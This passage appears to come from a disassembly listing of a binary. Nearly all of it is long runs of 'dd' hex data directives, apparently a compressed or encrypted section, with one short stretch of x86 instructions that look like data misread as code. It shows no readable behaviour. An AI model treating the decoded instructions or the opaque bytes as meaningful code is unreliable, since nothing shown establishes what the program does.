		dd 5BC098A4h, 69F4C789h, 0A92F94E4h, 396CA485h,	422160ADh
		dd 0B40B7717h, 0FB8CA282h, 185C78BEh, 504A67DDh, 7A268147h
		dd 9AF2C18h, 0DDF48110h, 690840AFh, 0C018CF00h,	56B2082Fh
		dd 976200D2h, 30D39CDh,	42F80983h, 15A07F5Ch, 84893Ah
		dd 996D6E66h, 555BDh, 0D75E8A0h, 1D35F5EAh, 0DC123A76h
		dd 1C00142Bh, 6D255C5h,	40171295h, 0AFACD043h, 3258E1A1h
		dd 10382DC8h, 7F77DCh, 0BD3F354Dh, 8874B1DCh, 1B7D5417h
		dd 0F2DDC40Fh, 69F1BCE1h, 0B8812428h, 2F671A6Ch, 0E335B0C2h
		dd 68BDC25Ch, 78E3823Ch, 0B548E079h, 0DE956C20h, 6B5044D1h
		dd 80B76E94h, 6036CBCh,	0C4E04A7Bh, 801C8C74h, 84A69500h
		dd 0DD010CC3h, 0B4855096h, 0AD7200CCh, 78D7A3F7h, 62B8DB53h
		dd 4C9060ACh, 0E0EF73Bh, 605ED481h, 6F04A4B3h, 0BC06737Ah
		dd 0E8E0A704h, 5C8293FCh, 0C95A0534h, 0C498EC9Bh, 6D02C255h
		dd 8BF79E1Ah, 0DCD4E248h, 0A66F654Ch, 25B621C8h, 64827C29h
		dd 0B46CD89Bh, 20F661F7h, 0A9C16AB4h, 0E16E1CF3h, 136174E0h
		dd 0CCC7429Fh, 0DC591958h, 1A10770Ch, 3D7E5B3Ch, 6EF9C306h
		dd 0E9EC591Eh, 0E64B8D81h, 1AAB48F0h, 0B970B2F8h, 38C2E003h
		dd 0EA6F3004h, 10B8CEDBh, 16DD3203h, 0E8968A08h, 442F382Ch
		dd 543C7CE2h, 0B3741338h, 451010E4h, 0BD75EA0Bh, 0DD276C1Ch
		dd 0E5807FDh, 207B7A57h, 0EEC975A8h, 668C0517h,	0E4D33A83h
		dd 8E551C70h, 0DD812C8h, 27006076h, 8DB637D3h, 905CBAADh
		dd 0AB30000h, 535784D5h, 4E4A9D29h, 0BDF55060h,	26C22D17h
		dd 502604E7h, 85002E11h, 8B72E23Bh, 690BEEFBh, 56016E1Ah
		dd 0E2D918BCh, 0DB253533h, 29700B2Eh, 1F4D184h,	81DC6B32h
		dd 0CFC09647h, 0F87B6488h, 0C8E96055h, 0C8D5B1D3h, 78D95301h
		dd 0FFF91C6Fh, 341A9420h, 0B371D82Ah, 828813C8h, 0F05920CEh
		dd 0C2FB7E00h, 7F38334Ch, 0D09C204Ah, 17FE0068h, 0EE71D04Dh
		dd 54F1A7Ah, 94D2C009h,	0DB670C58h, 0DA78ADA9h,	7D6D4309h
		dd 1F9C99B6h, 443AA825h, 906C71F4h, 281A74B0h, 0FCC00C60h
		dd 0B5329392h, 0F6B0B0A2h, 8ABEC890h, 0A7697A76h, 6DE88020h
		dd 76FF8541h, 6AB70FE1h, 7678D0h, 0F873F060h, 6EF83A7Bh
		dd 11EF6331h, 6A0702h, 21295790h, 0C428DDFAh, 537FBCB2h
		dd 694EE58h, 1F07BBAh, 0A9CC0978h, 0ACE026BEh, 47004388h
		dd 0D6BC828Bh, 0C06B7077h, 58E0D18h, 0E71602A4h, 4CB28172h
		dd 785850h, 0B223AFD3h,	0D42F4A44h, 6F5133Eh, 61127A7Bh
		dd 3501228h, 4A94CAFBh,	4B8D3C61h, 26007C79h, 34FA990h
		dd 5A50D127h, 0DA256508h, 0F690520Ah, 58638249h, 0AC05E8B2h
		dd 40C790B0h, 1FFC6889h, 82775001h, 0B285207h, 0F634D7F3h
		dd 6A634490h, 262500C5h, 78AF9162h, 67007A4Dh, 83F575FCh
		dd 7A973F22h, 944B737Dh, 1F38E824h, 1CC2A5CFh, 30255CF4h
		dd 0BED96F68h, 24CE0920h, 0E2FDD070h, 8924A466h, 806D5082h
		dd 66183423h, 71C979B1h, 44639400h, 59423CD6h, 0EA3B27CDh
		dd 9D20E4CCh, 0DFB21E43h, 39950A2Dh, 98484F94h,	0E8F18313h
		dd 815AE820h, 8582BD6h,	12376118h, 0C8887DDDh, 0A4907E38h
		dd 17E7EAC1h, 982442F9h, 127B0562h, 0E34AF0FCh,	1B9006Ch
		dd 8334D194h, 3BF671F8h, 705CE70Dh, 7209C10Ch, 60B9C490h
		dd 24E55980h, 4CCD5045h, 85095C35h, 7C70F909h, 4E4BB20h
		dd 0A38949B0h, 5C01AA25h, 0E115EA75h, 9AC12A6h,	702B1801h
		dd 141E8859h, 0DEBEF641h, 4862E003h, 4A47D060h,	2F266B08h
		dd 0A026F1F5h, 6E104969h, 73204F3Bh, 2A02EA29h,	0F8867A8Ch
		dd 0D8001837h, 5419B43Eh, 572EC10h, 0C67A4FE1h,	0AC5DFE79h
		dd 8DBCB000h, 386E6A2Fh, 0D15F2189h, 7858DD3Ch,	0FC40E50h
		dd 0B2F3A006h, 50847E72h, 0C1D817h, 0C4C81887h,	254EFB8Ch
		dd 0B8D18B4Eh, 6038D9E1h, 398094Eh, 831C2CA0h, 96301A30h
		dd 0DDD91094h, 7A4BAEh,	53E97CECh, 0E42C2F1Fh, 0B20BAABAh
		dd 0CC4440h, 0E939B368h, 79DDD274h, 0C4A40B50h,	806142Eh
		dd 0F3034209h, 22120864h, 8ECFD600h, 0B7EC2EAAh, 99C28822h
		dd 0D50C60C8h, 1DCC6200h, 3A321ED4h, 0C86D0B44h, 0C10FEC2Ch
		dd 5C260620h, 0E200678Ch, 0EEF7438Bh, 0F421F08h, 0E692C7D8h
		dd 0BEC95700h, 9907C877h, 4161C1CFh, 9BDC00CFh,	6002D833h
		dd 60C628A8h, 55167512h, 7AACDA9h, 112B6F68h, 806C482Ah
		dd 6118E710h, 0FA1B7199h, 0F3AA00C4h, 0EF3639F0h, 0C70CCA07h
		dd 507A1857h, 0A550690h, 108A7DD8h, 7C02882Dh, 0C369F60h
		dd 3018BC19h, 700A7D00h, 0F5CA6533h, 456D069Ch,	20B6FED8h
		dd 86A95A0Ch, 6139136h,	12EAC22Bh, 0EE00C80Bh, 720A5D92h
		dd 304E45CBh, 0D7183495h, 20C0BDBBh, 0AD3C9262h, 0A4F3A58h
		dd 871EF08Ch, 0AC73C1B0h, 2C0537ECh, 6694CD6Fh,	0D9420280h
		dd 1EBB003Fh, 6928E367h, 0B174D8C9h, 950850C0h,	6088F70Ah
		dd 7AF10885h, 0ADF02693h, 8D2010C0h, 78613481h,	0B813602Ah
		dd 45C4B567h, 303AE102h, 80DD6817h, 0E5976108h,	0C2B7863h
		dd 65D4D844h, 9F685B68h, 8A007438h, 3B75EB07h, 84715065h
		dd 1CA50098h, 3EEDAE37h, 203805BFh, 0C7028327h,	63BAF0F6h
		dd 0B1A7E838h, 807752C1h, 3D2F46F8h, 2E79A2Bh, 22745FB5h
		dd 0C48E3813h, 0CF6543A0h, 78C011C9h, 0EB058A47h, 45CA306Fh
		dd 1302C851h, 0AE7C6301h, 0C4D1F08Bh, 90C506F0h, 0A4887508h
		dd 0DC6728F4h, 6D8E0660h, 602B7A0Ah, 0D086D620h, 0CA0A2CB8h
		dd 80A447A7h, 30858EF3h, 8D6F081Eh, 0C299E10h, 54D9209h
		dd 2003CB1Ch, 791A02Ah,	9CFA778h, 8AF43002h, 776AEB2Dh
		dd 8083CD8h, 0C161002Fh, 1AFD2CC7h, 0B00677Ch, 137AB0C9h
		dd 0F0B36965h, 0F5D1202Ah, 226D0880h, 34D84380h, 30487127h
		dd 0AA0C4690h, 0B1425E05h, 800F270h, 60131B40h,	8F57302Ah
		dd 6F493940h, 9C170E24h, 8812FA80h, 0BC0A75h, 46F7BA28h
		dd 68080E3Ch, 61411860h, 19D46F96h, 383DF2F0h, 9F8421CCh
		dd 0D00D3E81h, 3C471931h, 81FEBE82h, 0F3759C8Ch, 0A0D6E420h
		dd 37241D4h, 78692513h,	8A890116h, 0EA56E01Dh, 70F14D38h
		dd 0DE60A6EAh, 0ED82AE0Ah, 2B016005h, 0ADBB2515h, 16B96114h
		dd 148C3192h, 1340C582h
		dd 0DE1A6FEAh, 41C7C00Ah, 590F146Eh, 75075770h,	905F0525h
		dd 0FE8CAE3Eh, 9D0CD318h, 776B60EAh, 5052BC54h,	0C24C0E00h
		dd 0C48204E4h, 0CF4D1DA4h, 2BF4876Eh, 0C02DE753h, 0AC1117ECh
		dd 0CC00757Ch, 34335B9h, 0C1FDD7EAh, 1392BC4Ch,	6FE088BFh
		dd 0E38A0EF9h, 0D71ED9E6h, 0C35082EEh, 0BE005660h, 5E844206h
		dd 78C2DEF8h, 0F68200E6h, 49BF4A40h, 2DD828EAh,	0A37F598h
		dd 358C58A7h, 0BA025185h, 60F903D3h, 6BB2E5Bh, 8569062Ah
		dd 0D8602744h, 0A6C682ADh, 0F9D7006Ah, 2D8CEB2Ah, 3731EA25h
		dd 84532A3Ch, 738AC743h, 0B1E7516Ah, 0C3693700h, 6A53C655h
		dd 5D3A0A8Ch, 460DB167h, 0FF8ADF0Eh, 0E1B06E1h,	88CAE984h
		dd 94EA06C2h, 8C65169Fh, 16325110h, 0B8E8054h, 1A6EC65Ah
		dd 188FC8EAh, 9C7E12BBh, 2507DC2Ah, 136045F0h, 0BA526010h
		dd 0D91B0158h, 1FCA827Ah, 0EA39E03Eh, 24034A30h, 74AE3667h
		dd 0C68A3434h, 0C0AC7742h, 90EAEC02h, 59104360h, 1FC4CE81h
		dd 0A05EEC1h, 0A8464A3Eh, 52060027h, 4BBF44E4h,	32F02855h
		dd 585CDF00h, 0EA389DC0h, 0D22A5059h, 0A3F17F02h, 2442860Ah
		dd 5313535Fh, 802C2EF9h, 0E8875A0Ah, 1855F751h,	10590225h
		dd 83EDF081h, 0F9296B06h, 4ECC85Ch, 0EAC40C01h,	69CB1533h
		dd 0B428AA3Ch, 0B110133Dh, 2022432h, 0E28A5240h, 0EC25182h
		dd 0A8880608h, 0AB50FEF1h, 99F8B188h, 1C1C8256h, 9FD58951h
		dd 9B1BAE2h, 21575AD9h,	1EC90023h, 2401C26Fh, 2621F282h
		dd 0CF404FB9h, 306D32D2h, 8C9A536Bh, 0B2A0B646h, 0BB802479h
		dd 0D64029Eh, 5BD42A69h, 0DCF8D848h, 0B601CE90h, 22184BEAh
		dd 0A9D85CDEh, 5036C02Eh, 78A1B951h, 2A7F890Ah,	8A58F3C8h
		dd 0CBC8A0FAh, 95172AEAh, 32F67789h, 320E6F1Dh,	9F343E61h
		dd 24E65D06h, 1DC4742h,	362AD869h, 498D015Dh, 85EA7642h
		dd 0FE5312E3h, 3BD0C60h, 54995679h, 0EA8F5E11h,	0A126ECE9h
		dd 12FD32E6h, 8D24158h,	0D925E02h, 0C5028DBAh, 1E415453h
		dd 77A389E1h, 561A2Bh, 0C961FBB2h, 0A082EC4Eh, 1247E1FEh
		dd 105F7ED9h, 0E4807F7h, 0F979228Dh, 676A3C8h, 8F3D880Ah
		dd 88CD8909h, 54E7B205h, 0E9EAE4C0h, 5890D0FBh,	10CDF6DBh
		dd 1C540A81h, 840D30EAh, 0C1B81010h, 59246390h,	0F72AD81Fh
		dd 50DB8636h, 38C303B4h, 2662148h, 5EB85DFh, 44885C08h
		dd 4C0DD3DEh, 91BF3B69h, 762888B5h, 82EBD200h, 266840E3h
		dd 15E92AA7h, 0FB1AE34Fh, 0D7294F60h, 829F807h,	31963214h
		dd 8A5D0634h, 2690896h,	5E084997h, 6B374640h, 19FB8348h
		dd 525429FEh, 0A818E1D8h, 1EB4CAA9h, 0CC5B450Eh, 0F81687B2h
		dd 0CC88D21Dh, 7700D412h, 55D1401Bh, 5CE02902h,	0EA9B6CC3h
		dd 0D4526524h, 180F8FA0h, 89723A45h, 53302232h,	130266BBh
		dd 0A845BD7h, 13BF88F4h, 3925045Dh, 62820629h, 2ECE07A3h
		dd 0A0385C17h, 7CD8ACEEh, 6086F860h, 346A8C75h,	14ECF002h
		dd 5924BC08h, 96F4AD25h, 32A83419h, 5A5406BBh, 0AC102467h
		dd 0DA9742B0h, 404F5F02h, 83F8DF67h, 1B488AEBh,	36D0EACh
		dd 7D2AA013h, 2C600925h, 828857EAh, 25CDB8Ah, 0A2601962h
		dd 10678AAh, 9AC9EA2Bh,	695F15D0h, 2B549473h, 0F0FEC082h
		dd 0EA80D939h, 0AE79402Ah, 0F8371D42h, 37E7E364h, 1E83B3Ch
		dd 534C6958h, 0F62074B3h, 71AB0ED0h, 0F0C3154Ah, 72876781h
		dd 5CEB1EEAh, 8F46ACFh,	600043Bh, 4783B7DBh, 0AFC44C2Ah
		dd 58272D10h, 3F9E427Fh, 29A70C81h, 9A4584E4h, 0D169F451h
		dd 797F64B0h, 5A83A1F7h, 0D3FEABD8h, 25E5640Ch,	0A9611F4h
		dd 67496E53h, 6AC65128h, 42CD4DD1h, 670431E8h, 9A69A9D1h
		dd 0E87F41F3h, 9126FDE0h, 62EA85F0h, 6264975Ch,	465D9AAh
		dd 64BF5AB2h, 0A08E8290h, 66802E54h, 36413A8Ch,	11D9AB05h
		dd 56D98802h, 6489499h,	60D18844h, 9175E73Eh, 179F59F9h
		dd 5E150A5Dh, 0EBE68EC6h, 8C0BDD7Fh, 9A0635F6h,	264CEA2Ch
		dd 51C468A4h, 5D533D84h, 93C3E94Ch, 2F54AEAh, 50E16971h
		dd 0D989CA98h, 0F75D8B3Ah, 0EB34EA10h, 29656A60h, 0DCB25AE9h
		dd 598069EEh, 0C053C490h, 8C8DCC91h, 420822E7h,	0B60BD3A2h
		dd 12B70053h, 80321163h, 0E32620EDh, 0D2C2757h,	914CE912h
		dd 40DE601Dh, 0D6F26067h, 0C3D0BAB8h, 325713D7h, 99B25543h
		dd 0C2FFF9D1h, 0F8DC5F20h, 485A71CBh, 5877B229h, 8910C0D9h
		dd 0C6321C56h, 0D6F8E984h, 0DA162AA5h, 6E07D9C9h, 48B03263h
		dd 43080656h, 0F0C0333h, 45AA7023h, 7747429Eh, 884C1A22h
		dd 68D7EA15h, 1EBE6F97h, 124EB37Dh, 0E183CF55h,	690E0966h
		dd 46644049h, 0E6483098h, 0E556DA6Bh, 90052247h, 0A3553DAh
		dd 0A250695Ch, 6314A4C8h, 0D13156F2h, 73F45D50h, 1D40A4AAh
		dd 18248BDh, 4980E1CDh,	0FCA1330h, 47A73066h, 557D2498h
		dd 0F4EAC5Ch, 49D48A5Ah, 56AF418Bh, 9D534688h, 0FB5D6716h
		dd 3922A2Eh, 921DC894h,	0C03B44EEh, 69570254h, 13306F4Ah
		dd 0BEF79CC0h, 6D533904h, 2D90F48Ah, 0A16EA1EAh, 0E7509456h
		dd 1339C1B9h, 1C0207C6h, 10D8D3E9h, 52000B6Dh, 1B9D6953h
		dd 0B9982EA1h, 3006F305h, 0E5013923h, 43B51220h, 74DE0C87h
		dd 0F1EA21D6h, 0BB162534h, 409973B0h, 2FAF70Bh,	0C0CDB709h
		dd 263114FEh, 40C84FEAh, 0DCF84CFCh, 5A058CB1h,	40814E22h
		dd 6CC9EADBh, 7A59FB51h, 842E4533h, 0A890A135h,	98BA2022h
		dd 0C9BF1002h, 0C05A5552h, 0C13E762h, 0D9F82FD4h, 4530EA04h
		dd 52E34F1Dh, 83690051h, 59193A7Ch, 201FEE2Eh, 0C2D2AF7Ah
		dd 181E408h, 0FB7BE6BEh, 569A600Ch, 9410D24h, 0A9F42309h
		dd 4070B84h, 9804E56h, 6089711Bh, 5DD40C0Dh, 22E146Ah
		dd 0C15AADC9h, 0D81664EDh, 45922ABAh, 564D5858h, 0C84314Eh
		dd 2E388CEAh, 6609274Ch, 0E708CC29h, 0EDC186F4h, 43B0603h
		dd 0E0DA2E81h, 0FB89E81Ch, 4A1455Ch, 822CB151h,	0BB044647h
		dd 308AE2C8h, 36F45BD1h, 354CCC67h, 7DEA09C0h, 0BA29A394h
		dd 39DF5Dh, 25ACF61h, 2A5F1AF6h, 0E0F36CEh, 18EB579Eh
		dd 0C38A63B5h, 0BBF5907h, 32259880h, 0F3025FC0h, 2061B35Fh
		dd 57B28053h, 0EE681851h, 33E90E4Ah, 500A3A63h,	0F7B6B89Ch
		dd 3402C1FFh, 0CC048B24h, 7063CA68h, 0DF148924h, 0C281E231h
		dd 561A68FAh, 557230E9h, 3E0C10Ch, 0FC6F1AF0h, 85546B46h
		dd 170FC5A1h, 6E24E650h, 6BCE6051h, 4C48359h, 8BF0211Bh
		dd 0E9110C12h, 0AC4AEB3Ch
		db 5, 30h, 0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	al, 28h
		adc	ch, cl
		push	es
		add	[edi-76A3DBD4h], eax
		sbb	al, 0D0h
		jmp	near ptr 90C3E6FBh
; ---------------------------------------------------------------------------
		dd 78283076h, 6850590Ch, 0A633026Fh, 5E9C701h, 81E38953h
		dd 83280CC3h, 4ED2870Ch, 3D1B29D6h, 0FF1F3C89h,	16A67774h
		dd 52011843h, 5D6ABE56h, 0E3F20BA0h, 401801C4h,	0F704E8C1h
		dd 578BECD8h, 44BE16CAh, 0BFB12E21h, 0FA83DB16h, 28AFEB80h
		dd 5CC3579Fh, 9CAE1510h, 0B450660Fh, 4FD8DD7Eh,	7C282E06h
		dd 18FCDCE3h, 3C8B4AD5h, 0E90674A5h, 880A4782h,	5C895685h
		dd 114403E6h, 44FB6763h, 1A4E6359h, 2B91600h, 4912072Ch
		dd 15F10781h, 604B171Ch, 0C35F5EC9h, 0CBF755Ch,	3284DEE9h
		dd 5163C366h, 4BE1E189h, 0B7530068h, 9648F085h,	82953D23h
		dd 0EA41872Bh, 5057FB00h, 29AC01B8h, 64E97D7Ah,	81410419h
		dd 81685355h, 663760EFh, 367DC3B8h, 43ADE3E5h, 4BD4E999h
		dd 0FE012403h, 0DD37685Fh, 5582EA37h, 1877461Dh, 1010B9E9h
		dd 151A33BFh, 0A7143B4Dh, 0C6625C4Bh, 0F1AF9BD3h, 1087E5FDh
		dd 2F83E8D1h, 1E482DC0h, 4A90E2B4h, 685B5D54h, 3F7C232Ah
		dd 666DBF00h, 0E7816CB6h, 144B1891h, 728F0C5Ch,	12AE4448h
		dd 1A471828h, 8D72C2EBh, 0D68D801Eh, 2449A94Ch,	36CC329h
		dd 0DE57E9FBh, 0E5C08C0Eh, 69037306h, 0F20FF580h, 81E9A044h
		dd 30208AC7h, 936A667Dh, 2A60943Eh, 0FFC5F118h,	0EA6CC1F7h
		dd 0A8048C50h, 8831F5Ah, 12D8F853h, 692D19B0h, 0DDED02F6h
		dd 5142F707h, 95066056h, 13DE935Fh, 37A31A68h, 0E957D801h
		dd 0F7D15004h, 0E639C1D6h, 6EE8902h, 2652004Eh,	1C6395B5h
		dd 0C95EF729h, 50805FFAh, 0AE67207Bh, 8302EEECh, 131475Bh
		dd 0C0B760D6h, 0C2F3F6Ah, 143F21Fh, 71E93D68h, 8F688E8Bh
		dd 0D2DAE602h, 5CA9FDAEh, 7814BC09h, 0C6DEDA2Ch, 0C08157C7h
		dd 0ED746402h, 99148B58h, 7C63E8Ah, 0C15CF59h, 27EC3113h
		dd 8140DC93h, 689B48FBh, 999F672h, 233CBB82h, 0EBB04090h
		dd 10DC438h, 5B6D92DDh,	0BB531F90h, 0C5802F99h,	2B4D1097h
		dd 0C67676E9h, 3FFB816h, 58C50100h, 492CF581h, 0E92E3442h
		dd 0E40996ECh, 53C7D580h, 0D03CE291h, 91A949E8h, 89F64183h
		dd 13B9F00Ch, 221E1877h, 4585BF57h, 90272F4Bh, 637E3F11h
		dd 7000A65h, 6191E95Fh,	88524CF5h, 5AF3C8C6h, 91A8ECF6h
		dd 561648B8h, 31032984h, 0F9D0F706h, 92BD21C5h,	15EF58Eh
		dd 277B5678h, 2460B82Ch, 8F408AA1h, 9014EB4Ah, 55F22D61h
		dd 6EE343E0h, 19E67112h, 0AF1E3809h, 59E8A4BDh,	831687CBh
		dd 340C08EEh, 12B1F930h, 13B67D52h, 4AF1B4E9h, 6F411409h
		dd 0B53D67C6h, 5EDCF254h, 0F34981F6h, 1A381236h, 0FA5D7F33h
		dd 0EE34C455h, 2BEFE78Fh, 0A44D5839h, 0DC51DAh,	2442A6B8h
		dd 186B4A22h, 4C72B7Fh,	0E906108Ah, 8717402Ah, 0DD1BEF72h
		dd 5008D3F7h, 1DC69E10h, 9862CA29h, 0C15A8EFFh,	602E232h
		dd 35A94008h, 0D7DC1CA4h, 11E98431h, 811399F1h,	71D4BEBCh
		dd 683014E8h, 819B4Eh, 394919F7h, 63CE7C1h, 3F9E1D81h
		dd 0DC0C6E59h, 266A96FCh, 0E23DFB31h, 550727A4h, 0E4759E62h
		dd 78C52037h, 3FD1525Ch, 6806BB7Eh, 153CDD73h, 1412E0Ah
		dd 6B76856h, 0CE412687h, 0FB530FAFh, 96810C1h, 3CF86C16h
		dd 51C02C68h, 0FB5DC2DDh, 78885C05h, 1AAB2C68h,	7EE96368h
		dd 30FF5719h, 32A4D0BCh, 0C7FEC110h, 5914F852h,	295B2AC2h
		dd 397968D6h, 59287E79h, 570A5654h, 0C2E4E789h,	5241EF83h
		dd 9376163Ch, 191490CAh, 0E61390E4h, 0B31345DCh, 0C8B6ACBBh
		dd 74A249E1h, 101F099h,	10905BDAh, 0CA8101F7h, 3FB91229h
		dd 0AAB6A720h, 10AC00C6h, 0B628ED6Dh, 40402403h, 53E9CE29h
		dd 80038D92h, 0D18898F2h, 0D16205Ah, 67FABB04h,	7FC07115h
		dd 4C3F0C74h, 7734421Ah, 9CAD9C20h, 5C008949h, 58C104D9h
		dd 38A7215Dh, 0FEF68100h, 0E9192D65h, 0E98B7935h, 9587D683h
		dd 77459E52h, 0DD8D181Eh, 9B8056E1h, 0FC3305Ch,	5EC5C0B6h
		dd 0C8805187h, 1D02B9Eh, 0D27B92Ah, 21014413h, 0D8B5CB19h
		dd 4F246886h, 54654062h, 559B25C8h, 0A1243931h,	2E4B189Ch
		dd 430E0F6Fh, 5666DA01h, 7B1FD2BEh, 6B0AA630h, 0A5B03825h
		dd 82D781h, 77FE06A0h, 0DE89090Fh, 4691095Bh, 9D657E9h
		dd 81823A92h, 0A0646EECh, 0DA733A00h, 5BD8010Bh, 6E800C1h
		dd 0B5A51C05h, 0F17CE9FFh, 59422196h, 0A1185B52h, 1871206h
		dd 0D8295C43h, 44F76005h, 18680212h, 93E9B243h,	310A0F82h
		dd 0D70559CEh, 0E018CD02h, 0C3AA6BA7h, 10BFAC4h, 8063F73Eh
		dd 6DA2BE31h, 5C497FD7h, 0C8120FF1h, 0BCC38159h, 91BA0779h
		dd 46933042h, 40969026h, 5790586Fh, 0CF015A80h,	1AC28AC4h
		dd 5A13BB1Fh, 1201364Eh, 0B7FA6E2Ah, 0B439F2FEh, 4A0FFFC0h
		dd 46615930h, 2A20D1A5h, 4C96F821h, 1DC8655Fh, 98E5331Dh
		dd 932F2268h, 398F0A41h, 222ACBD6h, 5E0097Ah, 4FA5E998h
		dd 0E6EABBCEh, 7D0E2855h, 1F4D2840h, 375D4C0Dh,	81484078h
		dd 7FD34AF3h, 5E679224h, 0B0505B80h, 24E8D03Ah,	1F82022Ch
		dd 0B5510058h, 0E9EB08A0h, 0A2D73225h, 93878C1Ah, 7647F956h
		dd 0D5053540h, 31FC1649h, 0E99B45D0h, 0BFA14010h, 63A39CAh
		dd 7DF8F1B8h, 0C118E062h, 0C238C1EAh, 608A55C4h, 24394A6Fh
		dd 294D4277h, 0A621020h, 2D01680Ah, 6D158888h, 52D0F60Eh
		dd 8B3D0604h, 0C0DD8905h, 6539EBA4h, 2974241Dh,	0BE0C23ACh
		dd 318076E1h, 4A06A1C3h, 0F67D3008h, 0FED2C8E7h, 0F9E9CA0Ah
		dd 87A09150h, 1D5925AAh, 5F63F24Ah, 0A297120Dh,	0ED1940CDh
		dd 5DC13418h, 0C1D50126h, 0E92A0820h, 8AEAD0CAh, 80FE31CEh
		dd 0F605EDC0h, 961CF8DDh, 75680540h, 7C4C9837h,	0A60C314Ch
		dd 12820BECh, 8A8175D6h, 41B114DAh, 8BDF84F6h, 7D36648h
		dd 50A69C94h, 0F7928075h, 5EB71DD5h, 24EF930Bh,	9A42C0E6h
		dd 5B5C4562h, 82133817h, 7AE917A3h, 0C1F8A507h,	0A6228726h
		dd 87D981ACh, 25C6C93h,	4FA32107h, 82869FB2h, 0E30A69FCh
		dd 0EEDC73EAh, 6650C709h, 6BFF39FCh, 124B0AACh,	0F4A65A35h
		dd 0F1F65DE1h, 0CCD93066h, 0DBFB68E8h, 1907D6C5h, 6265C848h
		dd 66CCD7F2h, 6B52F068h, 64100EFDh, 462C7AE6h, 2303CC6Bh
		dd 5C47086h, 0FD55C5D6h, 2D88C07Dh, 64097C0Dh, 42DAF7h
		dd 0D8702553h, 0D329098Eh, 0D0204FE9h, 1C725268h, 20610D5Ch
		dd 26B3017Dh, 0FE5BDC88h, 367BF0CCh, 4B69E2AAh,	0A3F387Ah
		dd 0C3EE814Eh, 767C147h, 0CA652BF2h, 89B31A9Fh,	29683071h
		dd 0AC8BB3CDh, 0EFE98C27h, 68035253h, 1AF60AB3h, 0B7D2315Ah
		dd 0E4D6890Fh, 0B794F701h, 54E5E958h, 2EEFA58h,	0F60D5A1Bh
		dd 414CF289h, 444C8283h, 34AA5D45h, 3AF6F6E9h, 59D6809h
		dd 9A71A21Ah, 229CBB40h, 1943E0B7h, 0F3136FE9h,	0F56093D5h
		dd 0D2E6600Dh, 0A5217BA1h, 9A485F09h, 906912Dh,	67E927A3h
		dd 0BF573927h, 700E7300h, 7C3CF81h, 0E908BE06h,	7E98A58h
		dd 0B80CCBC9h, 0DFF16051h, 85A0F86Ch, 28817F78h, 0CBCC5AEDh
		dd 32C3EC59h, 8205052h,	9268DDA1h, 556A525Eh, 813FCAC1h
		dd 7118AB95h, 0B8FA8B4Eh, 0DC083B7h, 5D5CE902h,	0B460D6F7h
		dd 60985A5Bh, 98050D27h, 934E463Ch, 96B12999h, 0CA06840Eh
		dd 2E8158DCh, 24CF5D6Ah, 80042025h, 764F82EEh, 1964FFCAh
		dd 1D9AD373h, 1E6F3528h, 70FA0C41h, 91F901Fh, 2C5A2B55h
		dd 0A54F7005h, 14B10D4h, 57D358C2h, 940E6109h, 0C2093E64h
		dd 0D41E2F96h, 0A1870944h
		dd 0E24F62A9h, 4B18E904h, 4C7E4ECAh, 218B190Ch,	58E42722h
		dd 80448F05h, 0FF007E2Eh, 669D1C77h, 7698594Ch,	83CAB888h
		dd 2C1A4764h, 5883AB48h, 0C9FE8852h, 3775339Ah,	49697BACh
		dd 0F40FE7BAh, 310D4D77h, 630DDA06h, 6144E130h,	15F5AEDh
		dd 343CE1E8h, 0E5A66811h, 0EEE36426h, 0F743CBB7h, 0E889E2D1h
		dd 591F686Ah, 2A841E54h, 53311638h, 28043A80h, 633168D3h
		dd 8025690Bh, 8EECF435h, 0AC54810Fh, 4CE7AA75h,	5A59669Fh
		dd 0E12F0719h, 4081496Ch, 11686A8Bh, 712AC98h, 2AA1602Ah
		dd 0FACAEB43h, 1203440Ch, 647AC268h, 587A5FE8h,	5BD91B3Bh
		dd 90E314F0h, 5D2E6C7Dh, 545684A0h, 2AA5E65Eh, 0C485D7E5h
		dd 0C0BE8714h, 3112E8C1h, 0BC41E5C8h, 3302F201h, 6E65B43h
		dd 195C0DC9h, 1D78CB83h, 0C8015E0Dh, 0C4033D16h, 5630479Ah
		dd 0DB01BD55h, 0E9312F71h, 1EA08105h, 0B5DEE86h, 5102C183h
		dd 5C64B492h, 74915059h, 834D2998h, 10F05784h, 12887B7h
		dd 0D1AE8391h, 2AA5FE38h, 0BA001E94h, 48B108C4h, 6D072Dh
		dd 0D0291CB7h, 711FE957h, 60BD2AC0h, 1A3D360Fh,	705DEA09h
		dd 0D1795264h, 37BE5600h, 31257552h, 425E69F2h,	2D009FE6h
		dd 3B17F54h, 2B68D801h,	20F03822h, 1405050Fh, 102A4079h
		dd 2320ACA4h, 80048325h, 7D685564h, 396A175Ch, 5F125Dh
		dd 0F61EAEE8h, 0FD352119h, 0C080165Fh, 0D917F98h, 3DEAE91Dh
		dd 4DB9D7F7h, 61A624CBh, 956C094Eh, 0FD87ECEDh,	0E6540F22h
		dd 6BBB0553h, 77C2331h,	3534A2E4h, 1D9A0461h, 0C7C01318h
		dd 905DE821h, 680A402Ah, 0D937BF26h, 0D2122C69h, 4CDFA817h
		dd 7ABE803Ch, 576600Ch,	1765E251h, 51BAF08h, 154CCD9h
		dd 0E9F989D4h, 5C3E248Ah, 0AAA5EFA5h, 0BC283AF6h, 6E176077h
		dd 6300420Dh, 3BCA814Ah, 44D13D79h, 0BC27E77h, 8976B161h
		dd 8768E801h, 98656807h, 2C8EEh, 6BE40ABh, 2988DE28h, 42BBEE48h
		dd 0E6C10DF7h, 0AB300607h, 0FA434512h, 0BB9ECB6Eh, 0C807E984h
		dd 55CF5091h, 0B021DC20h, 4D950029h, 0FB31144Fh, 855970E9h
		dd 8160600Ch, 7D784F6h,	0F101B663h, 6B6C26E9h, 2698AE80h
		dd 0E0B4AB75h, 29DEC252h, 44AF660Fh, 686E66E0h,	4E8989E4h
		dd 0C5E916FEh, 5E834E7Bh, 0DE20F0E9h, 167E8ABDh, 0A34E747Ah
		dd 0B5517800h, 369B0EFh, 8059E830h, 3E8740C3h, 5860EBACh
		dd 0AB9AD1B8h, 0C794858h, 3FF2D08h, 0F030705h, 0E5017C93h
		dd 515FA058h, 8996E971h, 0B6909428h, 1A241E1Ch,	0CA025E6Eh
		dd 0F57E035Fh, 0AB1E5B43h, 530C32FFh, 3DBE58C7h, 6C1322B6h
		dd 89C0081h, 1EC152D9h,	10742937h, 0C2544C5h, 0EF5BEA12h
		dd 2112A51Bh, 0B201772Ch, 839220ACh, 9FB8939h, 0C05F5BD8h
		dd 9C094BDBh, 90A2C524h, 7ECC0F2h, 0BD678073h, 0F4606906h
